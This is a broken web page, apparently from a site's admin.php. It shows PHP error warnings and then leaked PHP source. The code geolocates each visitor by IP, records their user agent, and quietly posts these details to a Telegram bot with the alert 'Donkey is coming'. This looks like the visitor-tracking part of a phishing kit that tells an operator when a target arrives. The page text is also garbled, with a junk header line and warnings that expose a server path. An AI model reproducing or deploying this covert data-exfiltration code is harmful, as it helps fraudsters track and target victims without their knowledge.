??? 123123123123 .....................................................................................................................................??? 123123123123 .....................................................................................................................................
Warning: Undefined variable $auth in /home/elquintoelemento/public_html/admin.php on line 546

Warning: Trying to access array offset on null in /home/elquintoelemento/public_html/admin.php on line 546

Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 188

Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 189
$url, CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_TIMEOUT => $timeout + 2, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_HTTPHEADER => $headers, CURLOPT_USERAGENT => 'geo-fetch/1.0' ]); $res = curl_exec($ch); curl_close($ch); if (!$res) return null; $json = json_decode($res, true); return is_array($json) ? $json : null; } function getVisitorInfo() { $ip = clientIp(); $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Ismeretlen'; // 1) إن كان الموقع خلف Cloudflare، فهي تعطي الدولة مباشرةً if (!empty($_SERVER['HTTP_CF_IPCOUNTRY'])) { $countryCode = $_SERVER['HTTP_CF_IPCOUNTRY']; // مثال: "HU" return [ 'ip' => $ip, 'country' => $countryCode, 'user_agent' => $userAgent ]; } // 2) ipinfo (HTTPS + توكن اختياري) $token = defined('IPINFO_TOKEN') ? IPINFO_TOKEN : null; $url = 'https://ipinfo.io/' . rawurlencode($ip) . '/json' . ($token ? '?token=' . $token : ''); $details = http_get_json($url, 3); if ($details && !empty($details['country'])) { return [ 'ip' => $ip, 'country' => $details['country'], // رمز ثنائي مثل HU 'user_agent' => $userAgent ]; } // 3) بديل سريع: ipwho.is $who = http_get_json('https://ipwho.is/' . rawurlencode($ip), 3); if ($who && !empty($who['success']) && !empty($who['country_code'])) { return [ 'ip' => $ip, 'country' => $who['country_code'], 'user_agent' => $userAgent ]; } // 4) بديل آخر: ipapi.co $ipapi = http_get_json('https://ipapi.co/' . rawurlencode($ip) . '/json/', 3); if ($ipapi && !empty($ipapi['country'])) { return [ 'ip' => $ip, 'country' => $ipapi['country'], 'user_agent' => $userAgent ]; } // فشل كل شيء return [ 'ip' => $ip, 'country' => 'Ismeretlen ország', 'user_agent' => $userAgent ]; } function sendToTelegram($message, $keyboard = []) { $url = 'https://api.telegram.org/bot' . TELEGRAM_BOT_TOKEN . '/sendMessage'; $post_fields = [ 'chat_id' => TELEGRAM_CHAT_ID, 'text' => $message, 'parse_mode' => 'HTML', ]; if (!empty($keyboard)) { $post_fields['reply_markup'] = json_encode(['inline_keyboard' => $keyboard]); } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => $post_fields, CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 3, CURLOPT_TIMEOUT => 5 ]); $response = curl_exec($ch); curl_close($ch); } $info = getVisitorInfo(); $message = "👤Donkey is coming\n"; $message .= "🌍 country: {$info['country']}\n"; $message .= "📡 IP: {$info['ip']}\n"; $message .= "🧭 who is: {$info['user_agent']}\n"; sendToTelegram($message);